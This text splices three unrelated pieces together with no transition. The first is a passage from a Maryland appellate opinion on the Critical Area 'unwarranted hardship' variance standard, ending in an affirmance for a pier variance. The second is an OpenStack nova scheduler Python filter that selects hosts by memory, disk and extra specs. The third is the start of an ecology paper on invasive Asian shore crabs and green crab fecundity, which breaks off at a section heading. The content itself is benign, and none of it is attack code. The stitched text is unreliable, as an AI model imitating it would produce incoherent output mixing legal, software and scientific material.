Floor Report for Senate Bill 326 (2002). Among other things, the 2002 legislation required local jurisdictions to find that an applicant for a proposed variance satisfied “each one” of the variance requirements in order to grant a variance, required local jurisdictions to consider the reasonable use of “the entire parcel” in considering a variance application, and required local jurisdictions to incorporate in local law the requirements of the Commission’s regulations with respect to variances. Id., enacting NR § 8-1808(c)(13) and (d) (2002). While the legislation also incorporated the “unwarranted hardship” standard into the Critical Area statute itself, the Legislature did not further define “unwarranted hardship,” apparently otherwise satisfied with the definition developed in the case law. See DCW Dutchship, 439 Md. at 629 n. 33, 97 A.3d 135 (noting that aspects of the Mastandrea decision concerning variances remained good law after the 2002 legislation).
The Legislature explicitly provided that the 2002 amendments were to be applied “only prospectively” and would not apply to any case in which a petition for judicial review of a grant or denial of a variance application was filed before June 2002. See Chapters 431, 432, §§ 2-3, Laws of Maryland 2002. However, further amendment of the statute was spurred shortly thereafter by another decision of this Court that analyzed the criteria for a variance based on the pre-2002 case law.
2003: The Lewis Case
In Lewis v. Department of Natural Resources, 377 Md. 382, 833 A.2d 563 (2003), a landowner applied for a variance for a tract of land that was mostly marsh, but which included a 5.3-acre island upon which the applicant occasionally went hunting. The applicant wished to build a seasonal hunting camp on the island. However, due to the island’s irregular shape, most of the island was in the 100-foot buffer in which development was prohibited under county code provisions adopted pursuant to the Critical Area Program. The applicant sought a variance to build in the buffer.
The local board of zoning appeals denied the variance in part because the applicant could build much of the hunting camp on the part of the island that was not in the buffer. Thus, the property owner would be able to use the property as he wished for a hunting camp even without a variance and therefore was not denied that reasonable and significant use of the property.
This Court vacated and remanded, holding (among other things) that the local board had applied the concept of “unwarranted hardship” too strictly. Because the petition for judicial review in the case had pre-dated the effective date of the 2002 legislation, the Court did not apply the recent amendments that had superseded some of the holdings in the earlier trio of cases, but rather relied on the analysis it had developed in those cases. 377 Md. at 412-17 & n. 16, 833 A.2d 563.
More specifically, the Court held that the board should not have considered the fact that the applicant could have built much of what he wanted to build even without a variance if he simply located his development elsewhere on the property. As it had in Mastandrea, the Court reasoned that the board should not have asked whether the applicant would, without the variance, be denied “a reasonable and significant use of the ‘entire’ lot” but rather whether the applicant would, without the variance, be “denied a reasonable and significant use of [property within the buffer.]” Lewis, 377 Md. at 420, 833 A.2d 563. The Court also reiterated its holding in White that a board must “generally” consider the various criteria for a variance and could not rest denial of a variance on a finding that the applicant failed to establish only one of the criteria. Id. at 433-34, 833 A.2d 563.
Judge Wilner, joined by two other members of the Court, dissented. He pointed out that the Court appeared to hold that “the focus in every case must be limited to the buffer area,” but “that cannot be right” and that the board should consider the property as a whole. Id. at 454, 833 A.2d 563 (Wilner, J., dissenting). The dissent also argued that the majority opinion had shifted the burden of proof away from the applicant and that the local board should be free to deny the variance if the applicant failed to establish just one of the criteria — for example, if the applicant failed to show that the need for the variance was not self-created.
2004: Adding the definition of “unwarranted hardship” to the statute
In response to the Lewis decision, the General Assembly revisited the Critical Area law and, among other things, enacted the statutory definition of “unwarranted hardship” that now appears in NR § 8-1808(d)(l) in 2004. Chapter 526, Laws of Maryland 2004. The legislation defined “unwarranted hardship” as a situation in which, in the absence of a variance, “an applicant would be denied reasonable and significant use of the entire parcel or lot.” (emphasis added). The amendment thus codified the definition of “unwarranted hardship” developed in Belvoir Farms; it also incorporated in that definition the reference to consideration of “the entire parcel or lot” that had previously been added to the statute in the 2002 amendments in response to the Mastandrea decision. In addition, the legislation directed local jurisdictions, in assessing a variance application, to presume that the proposed development does not conform with the “general purpose and intent” of the Critical Area law and placed the burden of proof and burden of persuasion on the applicant to show that the presumption was rebutted.
The legislation was an explicit response to Lewis and, in particular, the holdings that confined consideration of the hardship issue to just the part of the property in the buffer and that shifted the burden of proof away from the applicant. The preamble to the law stated that, “it is the intent of the General Assembly that this Act shall overrule the Lewis decision and re-establish critical area variance standards, particularly the historic understanding of unwarranted hardship, that existed until weakened by the Court of Appeals[.]” Chapter 526, Preamble, Laws of Maryland 2004.
With respect to the definition of “unwarranted hardship,” the proponents of the legislation explained that it was designed to require a local board (and reviewing court) to consider whether a proposed development could be accomplished elsewhere on the property without need for a variance from the Critical Area requirements. In particular, the Chair of the Critical Area Commission testified that one of the key criticisms of the Lewis decision that he and the drafters of the 2004 legislation had considered in working on the bill was that the Court had taken away from local officials the latitude to consider “whether a better location for the proposed development existed elsewhere on the site[.]” Testimony of Martin G. Madden, Chair of the Critical Area Commission, concerning Senate Bill 694 (2004); see also Maryland Department of Natural Resources Bill Report concerning House Bill 1009 (March 5, 2004). The floor reports for the legislation described the standard in the bill as: “look at the entire parcel to see if there is another reasonably suitable location for the proposed development activity, other than the buffer.” Floor Report concerning Senate Bill 694 at pp. 3-4; Floor Report concerning House Bill 1009 at p. 5.
While the Legislature was clearly overruling Mastandrea’s and Lewis’ application of the “unwarranted hardship” standard in directing that a local board assess that standard in relation to the entire property, it is also evident that the General Assembly did not intend to convert that criterion into the “taking” standard. In response to an inquiry from the General Assembly about the relationship between the standards articulated in the bill and the “unconstitutional taking” standard, counsel to the General Assembly advised that “[b]oth the Court of Appeals and the Attorney General’s Office ha[ve] indicated that an unwarranted hardship standard such as that found in the language of SB 694/HB 100[9] is not the same as requiring the showing of an unconstitutional taking before a variance could be granted.” Letter of Assistant Attorney General Robert A. Zarnoch, Counsel to the General Assembly, to Senator Norman R. Stone, concerning Senate Bill 694 and House Bill 1009 (March 8, 2004). No change was made to the definition in the bills after the General Assembly was provided with this interpretation of it.
Summary
As the foregoing legislative history demonstrates, there has been an ongoing dialogue among the Commission, the Court, and the Legislature concerning the understanding and application of the concept of “unwarranted hardship” in the Critical Area law. The concept was first included by the Commission in its regulations and then articulated and applied by the Court in case law. The Legislature ultimately incorporated the criterion in the statute at the request of the Commission, using the same general articulation as the Court, but disagreeing in how it is to be applied. It is our role now to apply that statutory definition as best we understand it in the context of the 2002 and 2004 amendments of the statute.
Several principles pertinent to this case are apparent. First, this Court has always distinguished the “unwarranted hardship” standard from the standard for an unconstitutional taking. In adopting the same language as used by the Court for the definition of “unwarranted hardship” the General Assembly apparently agrees. Nothing in the legislative history of the 2002 and 2004 amendments that added the phrase “unwarranted hardship” to the statute suggests otherwise. Indeed, when it enacted the definition in 2004, the Legislature was advised by the Attorney General’s Office that “unwarranted hardship” was less stringent than a takings standard.
Second, there is no support at all in the legislative history for a reading of the definition of “unwarranted hardship” that requires an applicant to show a deprivation of all reasonable and significant use of the actual property. Indeed, there is the opposite. The 2004 position paper from the Maryland Department of Natural Resources refers to the proper standard as “whether the applicant had alternative locations on the property for the proposed use.” The floor reports for the 2004 bills described the standard in those bills as: “look at the entire parcel to see if there is another reasonably suitable location for the proposed development activity, other than the buffer.” The Chair of the Critical Area Commission for the Chesapeake and Atlantic Coastal Bays described the desired standard as “whether a better location for the proposed development existed elsewhere on the site[.]” The common understanding is that a showing of “unwarranted hardship” is not whether, without the variance, the applicant is denied “all reasonable and significant use” of the property, but whether, without the variance, the applicant is denied “a reasonable and significant use” that cannot be accomplished somewhere else on the property.
Finally, as outlined above, this Court has articulated the standard of unwarranted hardship as involving a deprivation of a reasonable and significant use of the property in a number of cases. The 2002 and 2004 amendments, as they related to the unwarranted hardship standard, were enacted to overrule specific holdings in Mastcmdrea, and Lewis that required a local board to assess that standard only with respect to the portion of a property for which the variance was sought without considering whether the same development could be accomplished elsewhere on the property without a variance. In Lems, this Court reversed a decision by a local board of zoning appeals. The General Assembly clearly preferred the standard applied by the local board — whether an applicant would be denied “a reasonable and significant use of the ‘entire’ lot.” Lewis, 377 Md. at 420, 833 A.2d 563 (emphasis added).
In summary, in order to establish an unwarranted hardship, the applicant has the burden of demonstrating that, without a variance, the applicant would be denied a use of the property that is both significant and reasonable. In addition, the applicant has the burden of showing that such a use cannot be accomplished elsewhere on the property without a variance.
3. Application of the Unwarranted Hardship Standard
In light of the discussion above, it is evident that the Board applied a correct understanding of the concept of “unwarranted hardship.” When the evidence is viewed in the light most favorable to the Board’s decision, it is also clear that there was substantial evidence of an unwarranted hardship in this case. The use of a pier or walkway to reach navigable water to exercise the riparian rights associated with the property is a significant use of the property. In the context of this particular property, such a use is reasonable for at least the following reasons:
• As the Critical Area Commission noted in its letter, the property is located in an Intensely Developed Area.
• The area is an existing boating community.
• Pursuant to the approvals by the various environmental agencies, there are various conditions on the construction and use of the proposed pier to protect the marshland as well as requirements to undertake certain plantings and other efforts to enhance it.
Finally, it is evident that the Board considered the entire property in assessing this use. As the Board found, the proposed pier was the “most direct access path to navigable waters,” and there does not appear to be any better alternative location for the pier on the property.
In our view, there was substantial evidence to support the Board’s finding of unwarranted hardship here.
C. Adverse Environmental Impact
As noted earlier, standard 5 of the Worcester County ordinance requires that “[t]he granting of a variance shall not adversely affect water quality or adversely impact fish, wildlife or plant habitat within the Atlantic Coastal Bays Critical Area.” WCC NR § 3 — 111(b)(5). In addressing that factor, the Board took note — as the Critical Area law encourages — of the approvals that Mr. Schwalbach had received from the Maryland Department of the Environment and the U.S. Army Corps of Engineers for the proposed pier. The Board stated:
These agencies provide an extensive review of a wide array of environmental impacts and have determined that this proposed wetland crossing has minimized these potential impacts. The proposed pier/walkway is only 3' in width which also further reduces the risk of any environmental degradation.
As ACT correctly points out, this discussion does not explicitly say that the statutory factor is met. It says that other agencies have determined that the proposed crossing “has minimized” the risk of an environmental impact, which may not be quite the same as “not adversely affect[ing] water quality” or fish, wildlife, or plant habitat. However, in the very next paragraph of its decision, the Board states “the Applicant has satisfied all standards.” This means what it says: the Board has found that all standards, including the “not adversely affect” standard, are met.
Substantial evidence supported this finding. At the hearing, Mr. Schwalbach’s expert environmental consultant testified that the pier would not have an adverse effect on water quality. He appeared to base this conclusion on the review by the Maryland Department of the Environment and the already extensive conditions imposed on the construction by the Army Corps of Engineers. In the written staff recommendation to approve the variance, staff reported that Mr. Schwalbach would be required to mitigate any environmental impact with new plantings, “based on an amount equal to not less than three times the square footage of the area of any buffer disturbance,” and described that he should place these “required plantings” between the improvement and the tidal wetlands to enhance the buffer function in the marsh. Given the lack of contrary evidence, other than generalizations in ACT’s letter, there was substantial evidence for the Board to find that Mr. Schwalbach’s application had satisfied all standards, including standard 5 concerning the absence of an adverse environmental impact.
D. Conformity with the Purpose and Intent of the Critical Area Program
As noted earlier, the Critical Area statute provides that, “[i]n considering an application for a variance, a local jurisdiction shall presume that the specific development activity in the critical area that is subject to the application and for which a variance is required does not conform with the general purpose and intent of’ the Critical Area Program. NR § 8-1808(d)(3)(ii); see also WCC NR § 3-lll(d)(l). The applicant has the burden of proof and burden of persuasion to rebut this presumption and a zoning board is to make written findings as to whether the applicant has done so. NR § 8-1808(d)(4).
ACT contends that the Board’s decision is inadequate because the Board did not explicitly state that Mr. Schwalbach had overcome the statutory presumption of non-conformity. It argues that the decision must be overturned for that reason. ACT’s argument is, at best, technical and superficial.
In the context of the statutory scheme, the presumption of non-conformity requires a local zoning board to demand that an applicant for a variance satisfy all standards for the proposed variance and to find that the applicant has met that burden before it grants a variance. See DCW Dutchship, 439 Md. at 637, 97 A.3d 135 (construing presumption to mean that applicant must satisfy all criteria for variance). It is evident from this record in this case that the burdens of proof and persuasion were placed on Mr. Schwalbach as to all of the standards and that the Board found that he had satisfied those burdens as to each.
While ACT is correct that the Board did not explicitly reference the statutory presumption in its decision, the Board explicitly found that Mr. Schwalbach had “satisfied all standards” and stated its conclusions in detail and in writing as to each standard. In analyzing whether Mr. Schwalbach had satisfied each standard — and not just the one standard on which the lone opponent (ACT) expressed its opposition before the Board — the Board applied a presumption of non-conformity and put Mr. Schwalbach to his proof. The written decision finding that he had satisfied all standards allows for no other conclusion than that the presumption of non-conformity had been rebutted. And, as the Circuit Court pointed out, the determination that the application satisfied standard 5, which included a determination that it would be “in harmony with the general spirit and intent” of the Critical Area Program, appears to be indistinguishable from a finding that the variance conforms with the general purpose and intent of the program. In our view, the Board’s written decision complies with the requirements of NR § 8-1808(d)(3) and (4) concerning the presumption of non-conformity, the burden of proof and burden of persuasion, and the requirement of written findings.
Ill
Conclusion
For the reasons set forth above, we hold:
1. There was substantial evidence to support the Board’s finding that, without the variance, Mr. Schwalbach would have suffered an unwarranted hardship — ie., he would not be able to exercise the riparian rights associated with the property, a reasonable and significant use that could not be exercised elsewhere on the entire property.
2. There was substantial evidence to support the Board’s finding that the granting of the variance would not adversely affect water quality or the fish, wildlife, or plant habitat within the Critical Area — a finding contained in the Board’s analysis of that standard and in its explicit determination that “all standards” had been satisfied.
3. The Board adequately found that Mr. Schwalbach had rebutted the presumption of non-conformity of the proposed variance when it explicitly determined in writing that he had carried the burden of proof as to all standards governing the proposed variance.
Judgment of the Court of Special Appeals Affirmed. Costs to be Paid by Petitioner.
Judge BATTAGLIA joins in the judgment only.
. One of the original requirements in the ordinance was repealed, so "(6)” in the ordinance is now marked as “reserved” and the sixth requirement is listed as "(7).”
. In the letter, the Executive Director of ACT noted that ACT had appeared at a hearing of the Worcester County Shoreline Commission the previous month and had opposed the variance on the ground that the marsh, wetlands, and wet mud flats that comprise the area were better suited to non-motorized boat usage and reported that the Shoreline Commission had approved the application with restrictions on the types of boats that could access the proposed pier.
. Mr. Schwalbach moved to dismiss the petition on the ground that ACT lacked standing to seek judicial review of the Board’s decision. The Circuit Court denied that motion and Mr. Schwalbach has not pursued that argument in the appellate courts.
. ACT argued that standards 1 (literal enforcement would result in unwarranted hardship), 2 (deprivation of rights commonly enjoyed by other properties), 3 (not a special privilege denied to other lands in the area) and 5 (no adverse effect on water quality or wildlife; consistency with general spirit of Critical Area law) were not met. As a result of the failure to meet those standards, ACT argued, Mr. Schwalbach could not establish the sixth standard — i.e., that all of the other standards had been met. In the Circuit Court, ACT did not contend that Mr. Schwalbach had failed to establish standard 4 (hardship not self-created).
. Although ACT did not explicitly argue that Mr. Schwalbach failed to satisfy standard 4 (hardship not self-created), the Court of Special Appeals construed ACT’s argument concerning standard 1 (unwarranted hardship) as an implicit assertion that Mr. Schwalbach also failed to satisfy standard 4. However, the intermediate appellate court found such an argument to be without merit. 223 Md.App. at 649-50, 117 A.3d 606.
. ACT did not make this argument before the Board, but first raised it in its memorandum to the Circuit Court.
. Although Mr. Schwalbach's property is platted as five lots, we will treat it as a single parcel, as did the Board and the reviewing courts. See 223 Md.App. at 648-49 n. 12, 117 A.3d 606.
. A lesser deprivation may still be a taking. See Palazzolo, 533 U.S. at 617, 121 S.Ct. 2448.
. COMAR 14.15.11 was recodified as COMAR 27.01.11 in August 1992.
. The Court had issued a writ of certiorari in the case originally to consider the relationship of the federal Americans with Disabilities Act to the ordinance governing variances. However, an intervening amendment of the ordinance rendered that issue largely moot.
. The two laws derived from identical bills initiated in the Senate and House of Delegates. See Senate Bill 326 (2002); House Bill 528 (2002).
. A definition identical to the one that now appears in the statute was included in the bills as originally filed, but was struck from the bills before they were enacted. See first reader versions of Senate Bill 326 (2002), House Bill 528 (2002).
. The applicant actually began building in the buffer before seeking the variance, which was concededly unlawful. However, this aspect of the case is not directly relevant here.
. The definition was later incorporated in the critical area regulations. See COMAR <IP_ADDRESS>, adopted in 40:4 Md. Reg. 347 (February 22, 2013).
. The 2002 legislation had required a local jurisdiction to consider the "entire parcel or lot” in assessing reasonable use. NR § 8-1808(d)(2) (2002). That provision was repealed as part of the 2004 amendments and moved into the statutory definition of "unwarranted hardship.”
. This aspect of the 2004 legislation is discussed in Part II.D. of this opinion below.
. Senate Bill 694 and House Bill 1009 were identical cross-filed bills designed to overrule parts of the Lewis decision. House Bill 1009 was ultimately enacted as Chapter 526, Laws of Maryland 2004. Senate Bill 694 was vetoed by the Governor as duplicative. See Laws of Maryland 2004 at pp. 2844-45.
. See NR § 8-1808(d)(4)(ii); WCCNR§ 3-111(d)(4).
. These were:
1. Within 15 days following project completion, the permittee must provide to the Corps pre-construction and post-construction photographs of the project area within and adjacent to the vegetated wetlands. The pictures must include a reference to the location and date.
2. The permittee must use marsh mats if equipment is placed in vegetated wetlands which must be removed immediately following construction of the walkway and pier.
3. The permittee must restore all preconstruction elevations and replant impacted wetland areas with native marsh species within the limits of disturbance upon completion of the proposed work.
4. The permittee must achieve 85% vegetative cover within remediated areas within one year of completion of all work. If 85% coverage is not attained, the reasons for failure must be determined, corrective measures must be taken and the area replanted.
5. The wetland restoration area must be maintained, with non-nuisance species, aerial coverage of at least 85% for three consecutive years. If 85% coverage is not attained, the reasons for failure must be determined, corrective measures must be taken and the area replanted. During this 3-year timeframe, the permittee must be responsible to submit an annual monitoring report which must document, with photographs and narratives, the condition of the marsh substrate, including the health of the vegetation, and any other related monitoring information including the following:
a) Date of inspection(s).
b) Documentation of species and measurements of vegetative coverage.
c) Documentation of any maintenance performed or required, including any planting of vegetation or soil decompaction.
d) Photographic documentation, in digital form, taken within the same time frame during each monitoring year.
6. Within 30 days of completion of the work, the permittee must submit as-built plans, including latitude/longitude coordinates, of the channelward most point of the structure, to the Corps and must notify the Corps to coordinate a compliance site visit.
7. The permittee must immediately remove any and all debris introduced into the waterway as a result of any construction and should ensure that all debris is properly disposed.
. As the Court of Special Appeals recounted in its opinion in this case, that is how the intermediate appellate court has construed the statute in several cases. See 223 Md.App. at 655-56, 117 A.3d 606. And, as that court explained with respect to this case, satisfaction of the six standards under the County ordinance necessarily involved compliance with the requirements of the State statute. Id. at 656 n. 14, 117 A.3d 606.
The legislative history also supports this understanding of the statutory presumption. As discussed above, the presumption of non-conformity was added to the statute as part of the 2004 legislative response to the Lewis decision. The dissenting opinion in Lewis criticized the majority opinion’s analysis of the burden of proof and burden of persuasion. Lewis, 377 Md. at 455, 833 A.2d 563 (Wilner, J., dissenting); id. at 465-66, 833 A.2d 563 (Wilner, J., dissenting as to disposition of motion for reconsideration). Advocates for the 2004 legislation urged the General Assembly to pass those bills in order to ensure that the burden of proof — in particular, the burden of persuasion — was placed on the applicant for a variance. See, e.g., Testimony of Maryland Association of Counties concerning House Bill 1009 (March 9, 2004); Testimony of Chesapeake Bay Commission concerning House Bill 1009 (March 9, 2004); Testimony of Maryland Municipal League concerning House Bill 1009 (March 9, 2004) at p. 1. The preamble to the 2004 legislation recited the General Assembly’s concern that the Lewis decision "shifted the burdens of proof and persuasion to local jurisdictions with respect to the denial of a critical area variance application, thus adding burdensome requirements and unnecessary expenses to their consideration of variance applications!)]” Chapter 526, Preamble, Laws of 2004. That law amended NR § 8-1808(d) to add the provisions concerning the presumption of non-conformity, the burden of proof and burden of persuasion, and the requirement of written findings — provisions that were clearly intended to function together to ensure that the burden of proof remained on the applicant for a variance.
|
# Copyright (c) 2011 Openstack, LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import nova.scheduler
from nova.scheduler.filters import abstract_filter
class InstanceTypeFilter(abstract_filter.AbstractHostFilter):
"""HostFilter hard-coded to work with InstanceType records."""
def instance_type_to_filter(self, instance_type):
"""Use instance_type to filter hosts."""
return instance_type
def _satisfies_extra_specs(self, capabilities, instance_type):
"""Check that the capabilities provided by the compute service
satisfy the extra specs associated with the instance type"""
if 'extra_specs' not in instance_type:
return True
# NOTE(lorinh): For now, we are just checking exact matching on the
# values. Later on, we want to handle numerical
# values so we can represent things like number of GPU cards
try:
for key, value in instance_type['extra_specs'].iteritems():
if capabilities[key] != value:
return False
except KeyError:
return False
return True
def filter_hosts(self, host_list, query):
"""Return a list of hosts that can create instance_type."""
instance_type = query
selected_hosts = []
for host, capabilities in host_list:
# In case the capabilities have not yet been extracted from
# the zone manager's services dict...
capabilities = capabilities.get("compute", capabilities)
if not capabilities:
continue
if not capabilities.get("enabled", True):
# Host is disabled
continue
host_ram_mb = capabilities['host_memory_free']
disk_bytes = capabilities['disk_available']
spec_ram = instance_type['memory_mb']
spec_disk = instance_type['local_gb']
extra_specs = instance_type['extra_specs']
if ((host_ram_mb >= spec_ram) and (disk_bytes >= spec_disk) and
self._satisfies_extra_specs(capabilities, instance_type)):
selected_hosts.append((host, capabilities))
return selected_hosts
# host entries (currently) are like:
# {'host_name-description': 'Default install of XenServer',
# 'host_hostname': 'xs-mini',
# 'host_memory_total': 8244539392,
# 'host_memory_overhead': 184225792,
# 'host_memory_free': 3868327936,
# 'host_memory_free_computed': 3840843776,
# 'host_other_config': {},
# 'host_ip_address': '192.168.1.109',
# 'host_cpu_info': {},
# 'enabled': True,
# 'disk_available': 32954957824,
# 'disk_total': 50394562560,
# 'disk_used': 17439604736,
# 'host_uuid': 'cedb9b39-9388-41df-8891-c5c9a0c0fe5f',
# 'host_name_label': 'xs-mini'}
# instance_type table has:
# name = Column(String(255), unique=True)
# memory_mb = Column(Integer)
# vcpus = Column(Integer)
# local_gb = Column(Integer)
# flavorid = Column(Integer, unique=True)
# swap = Column(Integer, nullable=False, default=0)
# rxtx_quota = Column(Integer, nullable=False, default=0)
# rxtx_cap = Column(Integer, nullable=False, default=0)
|
Natural systems today experience a wide range of human‐induced rapid environmental changes brought about by stressors such as pollution, habitat destruction, exploitation, and climate change. For individual organisms, these stressors can have large detrimental impacts on physiological condition (e.g., Bayne et al. [1979](#ece32008-bib-0222){ref-type="ref"}), growth (e.g., Dobbertin [2005](#ece32008-bib-0111){ref-type="ref"}), fecundity (e.g., Schreck et al. [2001](#ece32008-bib-0555){ref-type="ref"}), or survival (e.g., Pickering [1989](#ece32008-bib-0444){ref-type="ref"}). Measuring and mechanistically understanding these impacts of environmental stressors on individual organisms is relatively straightforward. However, for management or broader scale ecological understanding, it is often desirable to scale up from these individual‐level responses to population‐level impacts. And while the response of individual organisms to these stressors can be easily studied and quantified, population‐level responses to many stressors are largely unknown (Walker et al. [2012](#ece32008-bib-0666){ref-type="ref"}).
One increasingly common type of stressor is the introduction of invasive species in habitats around the globe. Invasive species can have large detrimental impacts on individual organisms in invaded areas that are well documented. For instance, as with negative impacts of environmental stressors more broadly, interactions with invasive species can lead to impaired physiological condition (e.g., Narayan et al. [2015](#ece32008-bib-0033){ref-type="ref"}), reduced growth (e.g., Pearson et al. [2015](#ece32008-bib-0034){ref-type="ref"}), lower fecundity (e.g., Miller and Gorchov [2004](#ece32008-bib-0029){ref-type="ref"}; Narayan et al. [2015](#ece32008-bib-0033){ref-type="ref"}), and decreased survival (e.g., Albins [2015](#ece32008-bib-0001){ref-type="ref"}) for individual organisms in invaded areas. These negative impacts can alter the evolutionary trajectory of impacted populations (Mooney and Cleland [2001](#ece32008-bib-0032){ref-type="ref"}), for example, by altering the success of existing life‐history strategies (e.g., Griffen and Riley [2015](#ece32008-bib-0016){ref-type="ref"}). Together, these negative impacts of invasive species can even be drivers of extinction for native species (Gurevitch and Padilla [2004](#ece32008-bib-0019){ref-type="ref"}), although this conclusion has been questioned (Ricciardi [2004](#ece32008-bib-0036){ref-type="ref"}; Clavero and García‐Berthou [2005](#ece32008-bib-0008){ref-type="ref"}).
With the ubiquity of invaders and their continued introductions around the world, invaders are commonly interacting not just with native species, but with each other as multiple invaders get introduced into the same region. While invaders may potentially facilitate each other\'s success (i.e., the invasional meltdown hypothesis), existing evidence indicates that it is much more common for at least one species in a pair of interacting invaders to be negatively influenced by the interaction (Simberloff and Von Holle [1999](#ece32008-bib-0041){ref-type="ref"}). However, while the impacts of invasive species, both on native species and on other invasive species, are commonly documented at the individual level, scaling these individual‐level impacts up to the population level is much less common. A case in point is the interaction between two species of invasive crabs in intertidal regions along the New England coast of North America.
The European green crab *Carcinus maenas* became established along the northeast coast of North America beginning in the early 1800s (Say [1817](#ece32008-bib-0039){ref-type="ref"}) where it thrived and continued to spread for two centuries (Audet et al. [2008](#ece32008-bib-0003){ref-type="ref"}). In 1989, the Asian shore crab *Hemigrapsus sanguineus* was introduced to the same region (McDermott [1991](#ece32008-bib-0028){ref-type="ref"}) and the preferred habitats of these two species overlap extensively in rocky intertidal areas. The Asian shore crab has generally had the upper hand in interactions between these species. For instance, the Asian crab is known to directly consume young green crab juveniles (Lohrer and Whitlatch [2002](#ece32008-bib-0027){ref-type="ref"}), displace the green crab from refuge habitat (Jensen et al. [2002](#ece32008-bib-0024){ref-type="ref"}), steal food from the green crab (Jensen et al. [2002](#ece32008-bib-0024){ref-type="ref"}), and cause the green crab to alter its foraging strategy in ways that reduce its overall food intake and to replace a diet composed primarily of animal tissue with one composed primarily of plant material (Griffen et al. [2008](#ece32008-bib-0017){ref-type="ref"}). These changes in food consumption lead to a subsequent decline in reproductive success for individual green crabs (Griffen et al. [2011](#ece32008-bib-0018){ref-type="ref"}). Ultimately, these negative impacts have led to a decline in green crab abundance and to their nearly complete disappearance from rocky shores where these two species interact (Lohrer and Whitlatch [2002](#ece32008-bib-0027){ref-type="ref"}; Kraemer et al. [2007](#ece32008-bib-0025){ref-type="ref"}). However, interactions with the Asian shore crab represent multiple mechanisms of stress for green crabs: predation threat and reduced reproductive success; and it is unclear how these two mechanisms scale up to the population level.
Scaling the impacts of predation and reduced fecundity to the population level requires a robust understanding of each of these impacts. In terms of predation, the impacts at the individual level are fairly straight forward. The greatest predation risk for juvenile green crabs is generally from cannibalism (Moksnes et al. [1998](#ece32008-bib-0031){ref-type="ref"}). Cannibalism is strongest on newly settled 0‐year class juveniles, and drops off quickly as individuals grow and become more robust and capable of fleeing or defending themselves (Moksnes et al. [1998](#ece32008-bib-0031){ref-type="ref"}). Additionally, the risk of cannibalism changes with crab density and with habitat structure and is therefore condition dependent (Moksnes [2004](#ece32008-bib-0030){ref-type="ref"}). Previous field experiments demonstrate that predation by Asian shore crabs on green crabs also differs with crab size, with habitat complexity and with other conditions (Lohrer and Whitlatch [2002](#ece32008-bib-0027){ref-type="ref"}). However, these experiments show that across all conditions examined, predation from Asian shore crabs produces mortality rates for green crabs that are nearly identical to mortality from cannibalism (Lohrer and Whitlatch [2002](#ece32008-bib-0027){ref-type="ref"}).
In terms of reduced fecundity from altered diets, our understanding is not as complete. The contribution of animal tissue to the diet generally increases with green crab size (Ropes [1968](#ece32008-bib-0038){ref-type="ref"}). Additionally, food consumption required to meet metabolic demands sharply increases with crab size (Elner and Hughes [1978](#ece32008-bib-0010){ref-type="ref"}), and reproductive output increases linearly with the amount of animal tissue consumed, but is not influenced appreciably by algal consumption (Griffen [2014](#ece32008-bib-0012){ref-type="ref"}). Previous field experiments demonstrate that interactions with Asian shore crabs cause green crabs to reduce their food consumption overall, with this reduction reflecting primarily a loss of animal tissue consumption (Griffen et al. [2008](#ece32008-bib-0017){ref-type="ref"}). However, it is possible that reproductive implications of these dietary changes vary with the size of green crabs, given the increasing nutritional/energetic needs of crabs with size (Elner and Hughes [1978](#ece32008-bib-0010){ref-type="ref"}) and the general increased reliance on animal tissue for larger individuals (Ropes [1968](#ece32008-bib-0038){ref-type="ref"}). Efforts to scale Asian shore crab impacts on individual green crab fecundity to the population level may therefore benefit from knowing whether the contribution of animal consumption still scales with green crab body size, even in the presence of Asian shore crabs.
Finally, fecundity of crabs generally increases with size due to allometric constraints of space for ovary development inside the carapace (Hines [1982](#ece32008-bib-0022){ref-type="ref"}). Green crabs also follow this pattern and clutch size has been shown to vary from 140,000 to 200,000 eggs, depending of the size of the female (Audet et al. [2008](#ece32008-bib-0003){ref-type="ref"}), with an average‐sized female of 46‐mm carapace width producing 185,000 eggs (Broekhuysen [1936](#ece32008-bib-0006){ref-type="ref"}). Efforts to scale Asian shore crab impacts on individual green crab fecundity to the population level may therefore also benefit from knowing the size--fecundity relationship for green crabs in the presence of Asian shore crabs.
I examined how the relative amount of animal consumption by adult female green crabs varies with crab size at two sites on the New Hampshire coast where these two species overlap. I also examined the size--fecundity relationship for green crabs at these same sites. Finally, I used a life‐table analysis to examine the relative population‐level impacts of predation by Asian shore crabs on 0‐year class green crabs and of reduced fecundity of green crabs in the presence of Asian shore crabs.
Field population sampling {#ece32008-sec-0003}
I sampled crabs from two sites on the New Hampshire coast (Fort Stark and Odiorne Point State Park) that are separated by approx. 2.5 km. See Tyrrell and Harris ([2000](#ece32008-bib-0044){ref-type="ref"}) for a general description of these two sites. While there are physical and biological differences between these two sites, there were no differences between these sites in the relationships examined here (i.e., size vs. animal consumption, and size vs. fecundity). For simplicity of presentation, I therefore pool data from these two sites in all descriptions and analyses below. The Asian shore crab is now abundant at both of these sites. I sampled each of these sites by exhaustively searching each for 12 h spread over 2 days during low tide (Fort Stark: 27, 29 April 2009; Odiorne Point: 28, 30 April 2009). I collected all mature‐sized (≥29 mm carapace width, CW) female green crabs encountered. Upon collection, crabs were immediately frozen. They were then returned to the University of South Carolina for complete analysis.
Size versus diet {#ece32008-sec-0004}
I assessed individual long‐term diet variation using stable nitrogen isotope values that have previously been used to examine the correlation between relative trophic position and reproductive success (Griffen [2014](#ece32008-bib-0012){ref-type="ref"}). Here, I use these same data to examine the relationship between crab size (carapace width, CW) and relative trophic position, which has not previously been explored. *δ* ^15^N values generally increase with trophic position and can therefore accurately be used to assess relative trophic position between individuals (Post [2002](#ece32008-bib-0035){ref-type="ref"}). *δ* ^15^N values were obtained from muscle tissue taken from a single walking leg of each crab and were measured using an Isoprime mass spectrometer connected via continuous flow to a EuroVector Elemental Analyzer. Three internal standards were run approximately every 40 samples to calibrate the system and to compensate for potential drift over time (USGS40, N1 and N2). I tested the hypothesis that relative trophic position would increase with crab size using a linear model with *δ* ^15^N as the response variable and crab CW as predictor variable.
Size versus fecundity {#ece32008-sec-0005}
